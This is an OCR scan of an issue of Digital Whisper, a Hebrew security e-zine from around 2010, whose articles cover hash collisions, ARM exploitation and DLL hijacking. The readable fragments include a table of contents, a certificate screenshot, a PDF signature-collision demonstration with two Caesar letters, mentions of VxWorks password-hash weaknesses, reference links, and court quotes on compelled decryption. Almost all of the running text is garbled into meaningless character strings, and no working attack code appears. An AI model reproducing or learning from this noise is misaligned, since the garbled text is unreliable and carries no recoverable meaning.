Digital Whisper

200 % _ 1127 x4 ¥

TV NN

¢
B
-
-
-

Lo d hds s Tod x4 xs
RatinhQ!, -» x « 5~ x " Zhy H" oK
T (EpTTKA) xR T E X WY I A ey " YL WX Ferith b <

.TheLeaderx WnderWarrio) -~ ! ~(ZukHd ¢ . > «

Digital Whisper™ 1 S ¢ 4 X xp o d5. Isqx{ s © 4 s™ x J1.* 14> ¢ 1] Digital Whisper™ { €¥x *p FXx « .4
Cx xS T OInw K X 2 ¥ e 4T 4 " ¥ 4 ¥ DxxkDigital Whisperd LS % X X% 0% x s f g A oS

O X D ST T ] S X o s o T S s X

editor@digitalwhisper.co.il L ~1 x 1~ L 0 5 Tsc, 1S]lixx X 2 x X x| "

>


mailto:editor@digitalwhisper.co.il

Technologic

s”

o SXA 4% awls”

XTI XE X X Rk X oLl ssx?”
PR BRI B S R NS I N R
Ll o s Y e s T

. ”
« X -“VX >|_-|Nv“_X >L-I,.,sv

14 04 "% 1 3 Digital Whispef 1 ¢, B X" [ X Z xsfief §4%X7 y5.7s{ 7 |
Fdosow A s ielstl Hysso ], fdxs v s Ss LSl xos X oxg 4 €] s

o+ Gss” s XX, €

~ A~

. X N
LS s | x¢;\

,HMS, Wp3rinj3cT10n.,~ ¥ 1 _ 4Zerith 1,1 . ~ Ender, RatinhO, HLL
T U D KAy Y T LIS 4 4 X 0" T L aBBa, Crossbow, T x . M Y |
Lo X4l " TP, T 4 HAGN)* » AT R, A s 5 X TS
I, xov g 0 P T ddX x4 T, 1l (BNIGhT 4 L 1% 4 X{greenblast

.TheLeader (NightRangex! x4. =, s.1_x |

SOOI Ve LA X sex s oI ox X

~

T« ,TheLeader(ZuR+ s » X a4 « A4 X x . HTY I L4 4 p¥ 7L XS Zerith
Joo X "xRatinhO L, - !

12" % dn¥lx s, xI
www.DigitalWhisper.co.il
2 2010 _ 12127 x4y



Technoloqgic

-\J : -I R X Sv } -I KO S 'I ” -l “ + b X \'I ”\ -II N |_.|s\.”|_ 1J\“S( |l ),1"’-')(\_ X
17 0 v xXq7 0 sxd Tx oy X AN, s X x 4s o x ] ] x

Nd o, Lo s " x 1 ]s

[) 10 T4 s s s ST I IR B I

IJq

b4 x .4 Ts o 1Tox <1 - Digital WHisper $ x ¥ % 4 41 f {s¥s, sl g ., X ]
S 1L o sSSP Ao XA T Xsx X% x o, X 1s | - DI XT xS 1L
!XLS LJ xX'I L(" >

Is -|sA < ,,s’“x xs

Lo d hdy -

S

127 A dn ¥l x|
www.DigitalWhisper.co.il
201.0¢_ 112

x4y



Technoloqgic

13

17

35

48

63

72

94

” X

Coe 4, st s

HASH COLLISIONS

el d A ] XX

/-lo\-'ls\:xN |_=Y\.A|_I*1z|\.

ARM EXPLOITATION

NP | T B S ERNE

BITING THE HAND WITH DLL LOAD HIJACKING AND BINARY PLANTING

R I I
www.DigitalWhisper.co.il

] ox

201.0¢_ 112"

X 4 LY



Technologic

Hash Collisions
(cp77fkdr) L ~ 41 | "4 %, 4 X0 ]l 41y

s s
Lx e ] s « 1 s 17 . 1" 4+« s DOXX 40X osXq xT X s]s, |
X ] x <L og,X ‘;eg,,;,v.x“j’,} (,,_2_x_-| >§\“ -|Z-|xx'||w . X xVJ S « . ”~ v
104 0, X T4y v X s O s x| I Xk T AR AT s
DX X 1 FY oL T L, +ONS _+ 2% o ¢ 1 p A% 4{s i x 4+
11~ Cos Tuo _4x s« sy (X% X P s e f ss ATXew L S5 4 S
To T s s b X xS s s Ty dd e v 9T
17« LX<« o0 el e v ddd TR exEs s L ky 3G Xq ., ¥
s 4 AL, X xO ] S cwaS o XIXG b (X S 1+, 5 11~

i (I‘( A Il:Y )(Xll 'I)YI" ” +Il- “_I X> S
-XAlt-n Technologics * ~» * 1s + x4 "P20210 % o 17 1" H4 s 4 _ x 1+
S Ix D ¢ 180% 4s 1 x7sx Comnmtaughl ¢ _ " » + 11
FXA Yy x

?s ¢ s AX”VL .
Pl s 0 L 4 L exs o asos Ty R A EAMY | X Isx % ] LK,
FS(ox b lx A v AR A HI KA Ss ) Tl XT Sc S s @ ol xx
Z,x,,]\ TR N AX .o L - - R x| -|~ 11 x . ="|> " x :=x) AX“VX‘ X, I w f
s”va xf.‘]‘~v=_:s>d’\> 3 ox >-||_.|~I N AAIIxxs.| =,,.|:>hss L~ A~ «Hl + M R
AX|'|X-‘|3<LV‘K;"SAX9(L 11 ] X X F-{li;)g{"iy‘>~'|AZ‘I'>-\|/V§”>‘S
(o

Hash Collisions
www.DigitalWhisper.co.il
5 2010 _ 12127 x4y


http://www.digitalwhisper.co.il/files/Zines/0x02/DW2-7-DNS-Cache-Poisoning.pdf
http://he.wikipedia.org/wiki/%D7%93%D7%99%D7%95%D7%92
http://www.altn.com/Literature/WhitePapers/Other/InternetThreatTrendReport-Q2-2010.pdf
http://www.altn.com/
http://www.commtouch.com/

Technoloqgic

b S(,l 1 Px ¢ o Lo {1 % _x s -1 - L X ¥ L' S)\({ s:l foL,JQdV:s sA-|xA,,><|_ = .
Tl oooxes 70 s g gy Soxd sy o d ¥ -4y X T L
LX X« _s- FX 4378 L« DXk oasidx s U fluaskys X x Copox s ]
vy S P RS L-L Certificates) _ H + ~» % 14 ~ X« 4 " A [ B . B
PX e s ox s Xy ss G s s T X A s XXX x

X 4 ., 1+ s on x 4L :1"|..,+"|: _|sv:v-|x-|vss~ b e XY S
Certificate e 1 | S | [certificate

General | Details | Certification Path General | Details | Certification Path

Certification path

& ﬁ Certificate Information 5] verisign
@ VeriSign Class 3 Secure Server CA - G2

V=] vww . amazon.com

This certificate is intended for the following purpose(s):

= Proves your identity to a remote computer
f » Ensures the identity of a remote computer [
= 2,16.840.1.113733.1.7.23.3

*Refer to the certification authority's statement for details.

Issued to:  www.amazon,com

Issued by: VeriSign Class 3 Secure Server CA - G2
View Certificate
valid from 15/07/2010 to 15/07/2013
Certificate status:

is certificate is OK.

Issuer Statement

M| | Learn more about certificates Learn more about certification paths

(VeriSing "1 s _ " Amazon v _ 41494l s s 41 7s

X4 % B Ll T e sy XL X X X e T 1Y A4 x -

SoAMsT v xs L L X x DX o x4 x e e X ]

LAY %01 o1 1S 1 Lo . X IS v ds s;s 440 )]s Fod

I e e o A s s S X X es {1 s o xusx D

s 4%, Hs tx 1 x4 b4 s 4 T xR x4 XS xdp 1T {7
A e A4 ]

Hash Collisions
www.DigitalWhisper.co.il
6 2010 _ 12127 x4y



Technologic

s s b s x4 w0 s &% e x4 s v 4 DX T v L
24 04, s i X e X g XD XS X Ho i s 5SS L, X s

oL sent e xexd Joox b4 X o 4T &8ss X g%
x4, F(KWHS I x T ox Ty xx 41447 D XXX, XX x40
x ©s 0 Cp A H2AF6I X « {1 A XY Hxs, dd X 414> ¢ Ox, 1  s ., {0
s x J4s i 14d9x L, Cx o 7loxos Xxlbxs"q o x 14 T8 401 1 *x 1o T
X0 A e sl B S X s TR o s xsE XX S hse Do s L 0 0
cdsld4 A 4 o x v bes o 4 T X o 0 g, XY
10, v A7 AT o s Al e X X T P RE X s fe s e XS xS
R I‘x‘v s ¢ ]« x s 4 X ‘=‘_JZ:-|A-|-|~>< v {ss. Xxs.X

S ‘-|-|VZV

Tl Tsoox o Dx xS gk TR sis, o Dox {0 DL b Y
L s %% o)t ox s % nss S T P25 emH x> T ] o x
Tx R4 D x X H2ARGs Lo x v 0 x Cx ] s o T XL AR S X S
e XX o x DX g x ] ] L 2Bky s d ., 18 " s

115792089237316195423570985008687907853269984665640564039457584007913129639936

X4 WX oA X 4. s s p o x e xy o s, Db Xx 0 X $F S
A oA o RAR s PR 4 Ay L s X7 48] X HoLos XX
- 2FE X x4 0 LR s T p AR s J A At
F12867 % 41 x 7144 ss€ {48 s s DT xpdx [l 4y sy L q s
O N O A I RPN Tlox X & p 4 ol AL X
Sid s 0l tx s ox Do hoxg b T qds s T ox |

1 | SE9 S L L UL, PT ] e ] ]800 B B8 O
s x . = oxx“,_-|l\-|><,mx S ,,xx”svx-|-|‘vxs s ¢ s A,__I,_-|st>< LA~| -|svvyx
LT e ot e e x o ox x @l {lx , Dls s XY R X X B

FEX AL xx g B IXE S Do xS sy 4 e X" L A 1,

LS XY S X T T e X o sl XX PPPXY v ¥TIx IsC Xxos . o s |
S L o« - S L X XXl s L |_-|v-|\:v B x 7 " oo

x v dod e ds e B 4SS Tws X T fs o x oo gs ] ] XX
oo e x o o e v e v XXX ¥ 3GRCY xS

Hash Collisions
www.DigitalWhisper.co.il
7 2010 _ 12127 x4y


http://he.wikipedia.org/wiki/%D7%A4%D7%95%D7%A0%D7%A7%D7%A6%D7%99%D7%99%D7%AA_%D7%92%D7%99%D7%91%D7%95%D7%91

Technologic

. . 1 1 s X 1q -|:_~X~V {«:{]s L:~X V-|-|::,,'|\.x-| S -I”AXXJSN, w8
s A TR T A sk o Doxa Dox 4 x ) o E x 4
1044 X o.s "y sx ¢ o L X Lo Sex e g x oA

x 7 4 AP s st ts 0T 0T L s {s 4 Ll X .xs
X" .|><vis)s:x,\"]x|_1~ ” v S Lo X X ] s x PSS . S
X . o X X Wil ]
X Dlsxp s T =sh A4S e s Ix " s L
- = x ¢ ot Lo ., X . :‘.,)Gv e L }_: -|-| “‘Xl‘sl”.., ?X'-I "E -Hll”S‘.' VI_S\. L, ” -I . S .
XXM, x4 XL XS DAY R D gs A s L S, ot sy
=94 .1 s L ESXe i X IxSX {4 % X s=’x'|<.‘: . S L . X X X ] s x F s
T~ T T R S L D clax ossE GXes Gl e e X X d s
x 400 M4 s L] N T v xos RLX gxXs %] gs] X,
U T T N S T ¥ N I VIR SN R I VTR I [P RT. SN S SRR
F ] X oS q . X x S X X | s s 1 s s = x "y x = ¢ oL
s . FloriarxZumbiehl {17 _ . ¥s s 11>*<s ., x1 1% 4 OQPDFs LY s
s box o s D pudtrags X X X0 447 A
http://pdfsig-collision.florz.de/
Aol s x  PDHE fi,x ¥ 44 B Xxs 15~ x o dL T40 .5 .«
Pl A LAY Al s 4T
Julius. Caesar Julius. Caesar
Via Appia 1 Via Appia 1 )
Rome, The Roman Empire Rome, The Roman Empire
May, 22, 2005 May, 22, 2005
To Whom it May Concern: Order:
Alice Falbala fulfilled all the requirements of the Roman Empire Alice Falbala is given full access to all confidential and secret
intern position. She was excellent at translating roman into her gaul ||information about GAUL.
native language, learned very rapidly, and worked with considerable
independence and confidence.
Her basic work habits such as punctuality, interpersonal deportment, ||Sincerely,
communication skills, and completing assigned and self-determined
goals were all excellent. TJulius Caesar
I recommend Alice for challenging positions in which creativity,
reliability, and language skills are required.
I lighly recommend hinng her. If you’d like to discuss her attributes
in more detail, please don’t hesitate to contact me.
Sincerely,
Julius Caesar
Hash Collisions
www.DigitalWhisper.co.il
8 2010 112 x4y


http://seclists.org/bugtraq/2010/Aug/131
http://pdfsig-collision.florz.de/

Technologic

Do Fodos

http://pdfsig-collision.florz.de/letter_of_rec.pdf
http://pdfsig-collision.florz.de/order.pdf

(. -1 x I X )RoOHCAS L - XX f s !
http://pdfsig-collision.florz/rootca.pem

LX< 0t oxy e A s s hxs s T kT I ]
1xs 4Cs 17 x "y T 440 s XX e g x P foo g I XR ] X
x X O I B BN
- x s I ¢ s sHD Mdorey ¢ ] T * « s e XSS TP T e s Y {7 11
e DT 1. . ss 44 leidedded © 1 ) VxWorks s L | | s s Lw oo L
X 1A s qs CXos 1, s R ~ GléardText-1 s+ H Y _ o XS i X AL
x _ Wihd River -, + Cox T AN Xe 4 8 s .o L. PS4 xS
R S Ldd sl xiv] L A sST(XIXRAdY v )uxénerypt - T X4 T x Ty 7
T CXw 4 s s FXN X Xos
. S . o s FIP >~ x X Jdnetx « * - ] .| R R L x s | ¢s
?],,st s; Ns-|_|_‘“”>kx>;-|ysZX,:Z,Xx;q;VIVCSS 4 S x vx 1
-||_‘sv.x ?:=-|‘><Xhis\)x=xj s ,,'|\|_A> ,,xvv:t|~,,vxv“ s sv .|v s
-] X x 47 vi]As:1v-|_sj,,§v:>$<x~2$’svxjx\svls|vx.Cx,,v]vs v=.|><|_
L *1isoo ot Lt Lt
X 1 S Tx 1. T BT s 4y L, Lt ¥ x 11> %
Pl LS oo, s TS e ox 1A
Cx T Lx *x X 4y Yy {4 HO Mooré-x s s x $s {4 5x ] | |s R
1L s X X X € BA e "X 197 b L DX X oy lsho, o x X §
. X' s HD Mdore L ,~ {87 | LU A x o A(TXx Y ) Cx 1.
BruteForce _ x _ 4 _ ¢t L +«4 7 1x | v Os
Hash Collisions
www.DigitalWhisper.co.il
9 2010 _ 12127 x4y


http://pdfsig-collision.florz.de/letter_of_rec.pdf
http://pdfsig-collision.florz.de/order.pdf
http://pdfsig-collision.florz/rootca.pem
http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html
http://www.2beanet.com/vxworks/target/src/ostool/loginLib.c.html

Technologic

-|8<x23x'|>L .ox s 1 17 s s LS Z~,,xl s, ,Ss
HDMoore +.1 _ _ - _ s x4 T« 1L A 4 d x| e
ot s e T s R 1T ] "240,00068 4 o U ATY, x4 s 0 4]
17 x 0 FX LY L 11 x 220,000 +w X% ¥ AT el Mg, sS L
sl o0 txsh@ss 4 s DX DX x { ] s XD

.. 1. 1 "insecure" "¢ x . 1 s . « | Bdgirag* x ¥ HiD Moore-§ " s _ v x | X

~

Y {HD Modre s, ¥ x| s s x"Ry9odzZRgy"-5 1: . _ _ %L« 4ss I ], X
s s ¢ S "xs{{{{{/\@"{is‘x,,] S L X .

~ A ~

\)LI-,‘|—>:“‘|:"XVJ X s x € .o Lox T oxex T ZJVXZ s " q .

S A A e xT x> 1 ]
Powmx X s L PRAB IR T TSy D XS g " L]
ook lIx o wes 4 4T s b dy L Y x 3% s 4 ys x4
17 s LT L s e e R S 21T TS fecdesT x s b ] L
. sZ-L>s.|.|x~~xy”Zs S L \sx,;{.t $>i;\s|_s-|Z:sxj-|:,,“s|-|ﬂs-|2~x”xji ~x

.I”>nx s 7 x ] LSe(condAPreimag’é)A314’:5><s"x : S,,XXA

LSw_ X4~ xS X " AL s T A s X 4, "] Isar e X oL
x4 b x4 Fr kY 0Tl s 45 SsFxA] x AL TS
cox 4 e 1T s s e DO ] s sa] ey o PR X x4 o 8s o1 T4 A

1Y L r s pHANMe ey o o4 L, s x4 ] boxxo X s
L lX 4 S ¥ X594 . 12’128>_5L DIXXxX, X770y, T 4 S0 T X

14 % 4s o]l s Tl q 4 sS4 ¥d v, S0 x0T DX

D O . .S o s is = e X | x ¢ s s ~<Lxx“'|ZsL S8 X Xu,, L1\""\L~ sl I

A tAYy e o oxs o e 4 x T b x ) x0T s x o X pidx sx ploox

cxc_ovs o x e o deyxs 0 n s O W IOX 0 1A, X fesys ] X

R RPN I T T T SN T B ) P ST

L X 107 x X JA45% 444 «xs.cs5447sCp 1 d5s x4 X 14~ L X

VNS

~ ~

LT X oY A 401 vx vt b A 24, %t s A5~ fis s x%ss x

P e A A s s s T o sy JI4TX 0 X  psqT aa s T 1

L x "L FAdLx o x 1xo, X « q{s =:XX)G{,-S”J>SX'IVA Xss. L, W =\25_><><I~I.|x,,v><:-|s <

L% X "] s x = AV X4 ] . DX 4 s | X Jy4 17 sl A v:: xS X U X s
ly " s Z>“ZVL Iy ” s Z>“ZVL Iy 7 s

Hash Collisions
www.DigitalWhisper.co.il
2010 _ 12127 x4y



Technologic

O E O T N ¥ AL P SO VT N S T I RN R T R e B
IR I N 17" LXK USE4S.O0 X s T, JX Sy R Ay, Vs . L E
CX . oS S I .XX 22?-6+1-|”1‘x+('|v'- Cw ks p4dS . ix it
"7 x4 s PXxxs €0X % . 0T DR NIE s I scqys Dolo sy

To%e XD sivhy 47T X s X s s xoxs X 0592680 s gsd] 11 ss |
- T B T B ix 14, sd4s4 A1 1 HAF 1L~ 18%Xas ]

I x s L X4X <L "s+ ss qly XX N < X

x4 e e e xs s o) iy o] i e T g e ) s e xes
XX BB R b, X OO P29 x b x e X LT v ] T T8 T Lexes s
X Dxoe 4 s X 0 3eX60 L S X X XL 4 ke e XSy
L. k-|,,2xxv X "1 " . |_‘H-|s~,,”x\“ LS . Zs1|_v\'|~-|s _sZ|_Z|_>t\I|_~y<"s:>gv><_H X G
s . L X , X vsx~ sN.|,,|>< |_.|“):vvx L x s XA X X s
Toox X e Ay s ®xIs s 4 AT Isd X s g x4 x DX oy
23« v 1"~ CXSTO L, s s XIS, a1l b e o X s T x T ST o s
oL xs e x o x Doy 4 s T X T T e Ay
L 29 L xS FoXod X 1oX oo PSS o opASMA KT D 4T e ol e DXX 4 Sq
L] X« 17 « |_~J.|.| . X s X }st,,x+‘xvs.|¢” stZZ\-|stWAZ-|‘|_'|\X~ 4=,,><Ax><
A . s x4 T A YL e ¥, Z2F s 4 x T x o ]
A o8 L x s xs (1
DXCON X% D N x 7oy A ks s D Ko, IS s CosDo s o0
0 Jum s s Xxx ] tx L, X YNs I €l x Tl K|S wd S
L T T I R T U B SN L L N
] ] X% 1,);;>ix Zx-|\“”x> =x 7 ] X% I—1LX+§"‘|“~VSCV~ll.'ﬂl&vL‘-Xs N
R I x X CXIHT TR A T e Lo X 1y DX 4s xS A
KES X 1 ixdad 4 ik
O R - T4 0 s Y7o Dox] 4T X vovoL L o~ Sx 4 x oy " ls
S X s T¥41,.000,10000°M 4 Y AT A0 P M4 _F T D] s
L, Y (R Des CHSNK T80 dJds s Pxss x0T ]
FAd s T s X s X CX I e e A" s s xs € s TEXxxs s |
) ) i ) _JV,,is x:~x\: |_-|:‘va2
S~XL,,X-|~y"ZS Z\-|‘v|_ FY X 4x>.|s|_ |_sy-|-{:"-|~"xs.|"A'x,,vIs s C. .|=‘x‘
ce e X Ix, 36 XX f Ly ¢ 88, xX pfdx s L1x"qsx
118 s ks s %O O L TR KL X KEXLYKTSIX] L Ix Ty T T e T ]
v AL TS e {7 2 X X TSSCs, XS s STUI NS XS x| 1. x40 s
s 4% L Codd s o xs L4 RS LT BsXK SAW A, XL X {xC
Advy ~ x> r ¥ 4 x 1 s

Hash Collisions
www.DigitalWhisper.co.il
11 2010 _ 12127 x4y



e
-+
n
"
1] n
(] n
+
== s

Technologic

XL L S Cox .o lox Soxboox S SR IR O IR A . SR S RN SEEMNE 2%
P - . = s X . Lo X 4 X% . x=v,J|__“-'|':Wst 10 X ™ X TIx ¥s . B X x yiXs
X & " x Lo, LXpLLeY xx "ox o] . 1. oL x . " s ><x~\ ”S >”“ S s y{ 4 X s
oo xy s Do 0 b e s, X, XX T P LD X
T xXs xs&syxl”s{ 1xs I xTxq{X < T A4Ax T .1 Ts px
T T A T e SV R B Y11 IR TN I S SIS N
s X x 1 I x < . « q{ s s 1 x 94 % x - 4. J‘,J..HA“,,XXZ x4 . . s . T Ix 1 S 4
R I A B L R I

TS O S R I N P ST T A ST L RO S SR ICU R O 2 B B
o T A s s X es Y X L s LKA L g4 F X

X L L S D . 1 . 5(1 L:)xs,, ||_\(~S Si Xid]ei X XS X S AH'LIE?I,.,X‘;I q)4:15 .

s {s ! oo X vos,S p adih xCsAx s x s 4007 X S I

e :V'I'I“v.. -S_|-|_Lv“”i<>)<))|_si><‘xc| x:xx‘vi Z-|‘“"x> Lo X o«

I s S |« s - 0 H"HX K A.9x4% 0 w40 X7 X1 gsx {s s 4 X o DT ox

"s s s_xlé,,h”ZX"s“x-l,,v L s -|)<[{ _,\'[L F S B~ NS_L b ~ 3 . s -|A | . X R I

-x(,., '| L L ~ ~ S .I o« ”ox . LPJ _\l): Ix‘t ‘)*FJAJXX"> s L =

X o Fs4 L x5 o ]Xx 41, xcq4is {Xq4ss YK 4. s

ix o ys o L2 Xms s, 4T {4 x7s

Hash Collisions
www.DigitalWhisper.co.il

12 2010 112 x4y


http://he.wikipedia.org/wiki/MD5

Technologic

” . .

S . s N N " - 141~ 1 s L

,y”-||_“"x=ii\"vxs-| I
S « S
TH o~ Trxd s ey x0T s a0 e e X 10 T
PR :x”-|-|”A§,s,‘“:x>,<x?.|_],,;%\ 4L s :”Y,Vx X . Z-||_-||_>
|-X~v\15 x € SL‘_X~-|VVSZ X::_A-l]”x‘_v{SVva:XX.. s ., x (X% s”vv A"VSL va
- X s L Zx-|yx|_x’.’,:|1\,_1jkr|11>11>,§L1I231:<:f>{1L~s Dox 40
S X N 0s ZkasF-]%’,’,ﬂZ'I“L‘S “_1|Lx,;-||l(’,<,v_v:-|v'|1s x4 q .
1 . xGoagle v _ 17 x . 1«1 +s Skype* ! 90 1 “:xx."{ _x)BlackBerry 1 d
e A x e d AT, 4 A0 s X % e A YLxs, o 475d, 7 8% A sx X
X”L,. S | X, « S I s - F-|xxsvx Z”>‘xvx L

o O O T S S . I A SR NI b L RO S R AP,
s X x5 Lo« L. ><~'|v x.L.|\|_><“‘s|_s:~Z\-|-|y~~,,-|xv-|v\|_|_ RS S:‘~ 1L
b XX T4 o0 s T D g el x s X
1« - L. ol xxip p 1oss 47 ] sS4 4Istks 38 s x|
Slx s e xR KN s YT A D SST X
fledc, s d4dcss L S N I IR T A B I B S
CX,L o~ Fdo s L <x“|.“§~]|_52|.-|-|+,9<,,8’<:,,S'|'|V1x><\ 1, - X s L s 11
ey, Dt A1 e s o B04DBH) )AL v s 4T L x b

T 648RH X T X L X R T 1TBG4

(Lo oo
o Xl S Lo 948DRI L xS o~ o x T X s 1S X x X
P~ s S HAL ys>* oo S L X« R N P o T B P I N P B
S 4s XSS 4T 4] 9L KX L. XX TSPx ] ss e X
s,x{&sg(,,:xvx“’J_]v\,_L\" ,,'|-[’Ix'|vs N Z-|y~xv ~ 11 ¥ s =x.|v.|
S P L X Txe Yy s g ls  THY Ir oA dAdxd 1 oS-
1w e STt XL T e s T s s iy Ko X ] X
P B Lolx T s X x A 1 x| sI_,,>(|:y'>¢s'|x\x,,\lvny:x”,_ZZAVI,L~:9<'},-
X s 1] Do ] D s e L 117X e XX s G ]
s . 41 et A A X T L Isx T N R © 1. _s .o L o
0S.. 1 Loxx T o 1 0 .1
s”>‘s :X'|:) . X L [ 14 . 1s . =47 b« S

WWW.DigitaIWhisber.co.il )
13 2010 _ 12127 x4y


http://2jk.org/praxis/?p=2885
http://2jk.org/praxis/?p=2885
http://2jk.org/praxis/?p=2885
http://2jk.org/praxis/?p=1503
http://2jk.org/praxis/?p=1503
http://www.techdirt.com/articles/20090928/1051106336.shtml
http://www.techdirt.com/articles/20090928/1051106336.shtml
http://www.nevo.co.il/law_html/law01/214_001.htm
http://www.nevo.co.il/law_html/law01/214_001.htm
http://www.netlaw.co.il/files/doc/ver_20040822_state_v_mizrachi.htm
http://www.netlaw.co.il/files/doc/ver_20040822_state_v_mizrachi.htm
https://docs.google.com/viewer?a=v&q=cache:QElH0he4pW8J:ravia.co.il/computer-law/ramberman.pdf+&hl=en&pid=bl&srcid=ADGEESizJB8-cgMZX2NrdUlCd7jBczaEV10dkVk3n5CaLsym1mP_6xpinj6lnf4Av1lptiVdSArZ8IhRxMMpRTlAejA9L5z6OFhex_tyfqVmvtxtUCVx8tsv3d8EFvV0gsd9GiIFM7VN&sig=AHIEtbQ_hEj-en4i_hv7Zpbl8Qw9f3HEaQ
https://docs.google.com/viewer?a=v&q=cache:QElH0he4pW8J:ravia.co.il/computer-law/ramberman.pdf+&hl=en&pid=bl&srcid=ADGEESizJB8-cgMZX2NrdUlCd7jBczaEV10dkVk3n5CaLsym1mP_6xpinj6lnf4Av1lptiVdSArZ8IhRxMMpRTlAejA9L5z6OFhex_tyfqVmvtxtUCVx8tsv3d8EFvV0gsd9GiIFM7VN&sig=AHIEtbQ_hEj-en4i_hv7Zpbl8Qw9f3HEaQ
http://elyon2.court.gov.il/files/06/890/064/H02/06064890.H02.htm
http://elyon2.court.gov.il/files/06/890/064/H02/06064890.H02.htm
http://elyon2.court.gov.il/files/06/890/064/H02/06064890.H02.htm
http://elyon2.court.gov.il/files/06/890/064/H02/06064890.H02.htm
http://www.law.co.il/media/computer-law/halemo4.pdf
http://www.law.co.il/media/computer-law/halemo4.pdf

ludr 4 0 o x e x

shxw 23 04, S 447

J

S

T

Lo~ '_I

1L S

= -ISl ng «

echnoloqgic

Fed X T o Gk OTE 4], s

" X N X
z, .l 1, A.sl Xiw X sy | «

- 1. LX.~x'|\Vs X T s . 41 7 Xy o« x4 1 Xew e A% 4]
. -|2st s ] ~_\,,-|Is”ss~|_-|A,,IssLxAs s | 'va Zx-|-|,,>>< Axy),_ ~x
oLe . o 118DBT) s Lo X P4 4T X o xXs {lys ] x ss P XX ]
o A T IR B T I (T % Sl TR R I P B
1 Y. %« P 41FTs XXX sl G X _ 260 T X, dxTs X
x N 1 5 s x’~ 1 3( S L X .|", 1 ] ,,.|:|“a<vb><xx L S oxJd I_|~x "Xv:"~ iy - q .o
Xy { .8, s { s 4 = 17”7 x X« . ] x . '(f-|-|-|~ V“S: A,_xAv1sv ,,s)]xv]xsv -|Zxx"|v
s ¢ R LT B s 1 [T e ey AL RO I T O A AT B S AN S B N BN
;01 el x| 0% § X x 1'% 184w | SH- ] s ¢ ~ 1 I,,,XZ“\V" sX To4s "
XL o x(* oy s T )Y XS] s - R BN B I T A TR B AN
Fd XX x4 1s D T4 XD 3 ss D3] s X I
s {s { S,p 1”481 414 XS T oase oAl %L e x DT LT s X
ST T L, 176D4Y T4 XS _ox ] BN v X, . X LT FoS o
x by " s .41 1. x o0 T T P S S N I B R B N RS B S,
x s Lo X 14 %X, " s, DOXS)L oSS S et ASXY X ¢ 17X s
14, vd 17, . .. s 4" X Y 4 st IR T | I N X
S L X N S S T S N I B I R SRRV S B S R IR S I |
XX X734 A KA L A AT s A e s g BT s W8 DX x
X Lo T sxpe sy v X X X P oS L ORI TIX ] ] e Xosx {0 x FXq S 1~
R B FodoX L X (s 11 x_ 1 _ s1L01s>* ., 4sXs | X5 X
N BN XL sEX ¥ os " 4 T
CX At A e, s AT e xx o e b 14~ 1sc 4 r~s s«
R os xS e x 744 s s BN LY w1 10 esdd 1 T4 T s

S TS Lo T L #0.0TA4) L SPCICT L X 'L T L 945D 9
S oos A s VMR R AT T A TS B Y
X1 T s 00 VB e A A s e e X e e X T s
XE S TR X K 152 ] N4 11348, r k7 L ox X
A s 4023089 ) x x4, s 4y o fs L xXx X
soLS ot e oy b s X s T e s b g X (5% DL v
ST A L s w U s oa
s os  Ix T Lx o opges o T4 s T
www.DigitalWhisper.co.il
14 2010 112" x4Lv


http://www.nevo.co.il/Law_html/law01/055_128.htm
http://www.nevo.co.il/Law_html/law01/055_128.htm
http://nevo.co.il/psika_html/mechozi/m021153.htm
http://nevo.co.il/psika_html/mechozi/m021153.htm
http://nevo.co.il/psika_html/mechozi/m021153.htm
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://nevo.co.il/psika_html/mechozi/m09009455-140.htm
http://nevo.co.il/psika_html/mechozi/m09009455-140.htm
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/avoda/aa02007615-74.doc
http://nevo.co.il/psika_word/avoda/aa02007615-74.doc
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_9280.html
http://www.netlaw.co.il/it_itemid_9280.html
http://law.co.il/media/computer-law/chen_bat_sheva.pdf
http://law.co.il/media/computer-law/chen_bat_sheva.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf

Technologic

FI% T o0 XLy S H B LX 0 sS4 tse o v g X Ll v X
S R T L FINE T 2 IRoR SR Y TS I Sihe 7 FRU T R PO R S
S x D x s o Xsy Ty o 4 ] T v T ks 4 0
A A S X gs LS 34l o x ] Tx e s 4y X, x| 7]
o1, AL _ox1 x4 X i x T ve s 4 S s x| s
1« _ (4~ Rs A 4207016 ,,0~~_ 1 " 7H44518FB 9, )
b4 R I B e S IR I = 2 N P S SR R
RN s . . ;ts Lian e L s X x ] oo ” ’d Y ”2111”\X s{ |- x1‘)”~\vxs 1
x| R « 4 s =(mimd)<x ZIAxI~x']st |,,|_-q~,, S "” K -H-{vj X J . 1 ..U Lq X
Boucher v. State, United States ) 1", _ _* ¢4 X _x _s . X717 o s, 4 <1s = x,
1, . _s 7, F 1%  Digtrict Court for the District of Vermont, 2007 WL 4246473
Toxsx 4 oo X d e T4 s TV x s T xS, es k)XY 7S
(-mj-91 In Re: Grand Jury Subpeona2: p6 " x 1 >* 1. X .5 1 DX AXx .y
b yx 7ox Ly » 1 Tx 4L s 1, .~ .5, “H>X._w!Bouchetr s _ x| S . X
1 I

"Boucher accessed the Z drive of his laptop at the ICE agent's request. The ICE agent
viewed the contents of some of the Z drive's files, and ascertained that they may consist
of images or videos of child pornography. The Government thus knows of the
existence and location of the Z drive and its files. Again providing access to the
unencrypted Z drive adds little or nothing to the sum total of the Government's
information about the existence and location of files that may contain incriminating
information".

The Regulation of -s " . s's Sx 1l S0 . .o~ s 11

1T+, 11 o1 o x 7 ,0d 49 4 A . Investigatory Powers Act 2000

1, s T Xs Wi Xos  De o Lx o  p kb oxi g o X 4 T x
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"On analysis, the key which provides access to protected data, like the data itself,
exists separately from each appellant's "will". Even if it is true that each created his
own key, once created, the key to the data, remains independent of the appellant's "will"
even when it is retained only in his memory, at any rate until it is changed. If
